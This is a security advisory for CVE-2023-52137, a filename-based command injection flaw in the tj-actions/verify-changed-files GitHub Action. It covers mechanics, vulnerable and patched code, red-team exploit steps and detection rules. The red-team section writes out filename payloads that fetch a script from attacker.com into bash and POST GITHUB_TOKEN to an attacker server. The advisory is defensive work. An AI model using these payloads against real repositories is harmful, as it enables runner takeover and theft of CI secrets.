CVE-2023-52137
Executive Summary
CVE-2023-52137 is a command injection vulnerability in the tj-actions/verify-changed-files GitHub Action. The action returns a list of changed filenames from a workflow execution. If these filenames contain special characters (e.g., ;, $, `), and the output is used unsafely in a run block, an attacker can inject arbitrary commands. This can lead to full compromise of the GitHub Runner, including exfiltration of secrets like GITHUB_TOKEN. The vulnerability is particularly dangerous when triggered on events other than pull_request, as an attacker can craft a malicious filename in a pull request to execute code on the runner.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the GitHub Actions supply chain. The tj-actions/verify-changed-files action is a third-party component used in CI/CD pipelines. If compromised, it can lead to lateral movement within the GitHub ecosystem, affecting all workflows that depend on it. The action is distributed via the GitHub Marketplace, and users must update to version 17 or later to mitigate the risk.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely via a crafted pull request.
- Attack Complexity (AC): Low (L) - No special conditions required; a malicious filename is sufficient.
- Privileges Required (PR): None (N) - No authentication needed to submit a pull request.
- User Interaction (UI): Required (R) - The victim must run the workflow that uses the action.
- Scope (S): Unchanged (U) - The vulnerable component and the runner are in the same security boundary.
- Confidentiality (C): High (H) - Secrets like
GITHUB_TOKENcan be stolen. - Integrity (I): High (H) - Arbitrary code execution allows modification of workflow outputs.
- Availability (A): High (H) - Runner can be taken over, disrupting CI/CD.
CVSS Score: 7.7 (High)
Deep Dive & Mechanics
The tj-actions/verify-changed-files action outputs a list of filenames that were changed in a workflow run. In vulnerable versions (< 17), this output is not sanitized. When a workflow uses this output in a run block (e.g., run: echo "Changed files: ${{ steps.verify.outputs.files }}"), the shell interprets special characters in the filenames. An attacker can create a file with a name like ; curl http://attacker.com/steal.sh | bash ; in a pull request. When the workflow runs, the shell executes the injected command, allowing the attacker to execute arbitrary code on the GitHub Runner.
The attack is most effective when the workflow triggers on pull_request_target or other events that have access to repository secrets. The GITHUB_TOKEN can be exfiltrated, leading to further compromise of the repository.
Vulnerable vs. Patched Code
Vulnerable Code (pre-v17):
The action outputs filenames without escaping special characters. For example, in the outputs section of action.yml:
outputs:
files:
description: 'List of changed files'
The JavaScript code simply returns the filenames as-is:
core.setOutput('files', changedFiles.join(' '));
Patched Code (v17+):
The action now escapes special characters for bash environments. The safe_output option is enabled by default, and filenames are escaped using core.setOutput with proper quoting:
const escapedFiles = changedFiles.map(f => `'${f.replace(/'/g, "'\\''")}'`);
core.setOutput('files', escapedFiles.join(' '));
This ensures that filenames are treated as literal strings in shell commands.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A GitHub repository with a workflow using
tj-actions/verify-changed-files(vulnerable version). - Ability to create a pull request with a malicious filename.
Exploit Steps:
- Fork the target repository.
- Create a branch with a file named:
; curl http://attacker.com/steal.sh | bash ; - Open a pull request from this branch to the target repository.
- When the workflow runs, the injected command executes on the runner.
- Exfiltrate secrets (e.g.,
GITHUB_TOKEN) to an attacker-controlled server.
Example Payload:
; echo $GITHUB_TOKEN | curl -X POST -d @- http://attacker.com/exfil ;
Blue Team
Detection:
- Monitor for unusual filenames in pull requests, especially those containing shell metacharacters (
;,$,`,|,&). - Review workflow logs for unexpected command execution or network connections.
- Use GitHub's audit log to detect anomalous runner activity.
Prevention:
- Update
tj-actions/verify-changed-filesto version 17 or later. - Avoid using raw outputs from actions in
runblocks. Instead, use environment variables or${{ steps...outputs... }}with proper quoting. - Implement branch protection rules to restrict who can create pull requests.
Indicators of Compromise (IOCs)
- File Names: Filenames containing shell metacharacters (e.g.,
;,$,`). - Network Connections: Outbound connections from GitHub Runners to unknown IPs/domains.
- Process Execution: Unexpected shell commands in workflow logs (e.g.,
curl,wget,bash). - Secrets Exfiltration: Unusual API calls using
GITHUB_TOKEN(e.g., creating new tokens, modifying repository settings).
Detection Engineering
YARA Rule
rule detect_malicious_filename {
meta:
description = "Detects filenames with shell metacharacters used in CVE-2023-52137"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-52137"
strings:
$metachar = /[;|&$`()]/
condition:
$metachar at 0
}
Sigma Rule
title: Suspicious Filename in Pull Request
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects pull requests with filenames containing shell metacharacters
author: Valters IT
logsource:
product: github
service: audit
detection:
selection:
action: pull_request.opened
filename|contains:
- ';'
- '|'
- '&'
- '$'
- '`'
condition: selection
falsepositives:
- Legitimate filenames with special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-52137 - Potential Command Injection via Filename"; flow:to_server; content:"/pull/"; http_uri; pcre:"/[;|&$`]/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Update
tj-actions/verify-changed-filesto version 17 or later. - Short-term: Review all workflows using this action and ensure outputs are not used unsafely in
runblocks. - Long-term: Implement input validation for filenames in CI/CD pipelines. Use GitHub's built-in
${{ steps...outputs... }}with proper quoting. - Monitoring: Enable GitHub Advanced Security alerts and monitor for suspicious pull requests.
- Training: Educate developers on the risks of using raw action outputs in shell commands.
Valters IT
Securing the Digital Frontier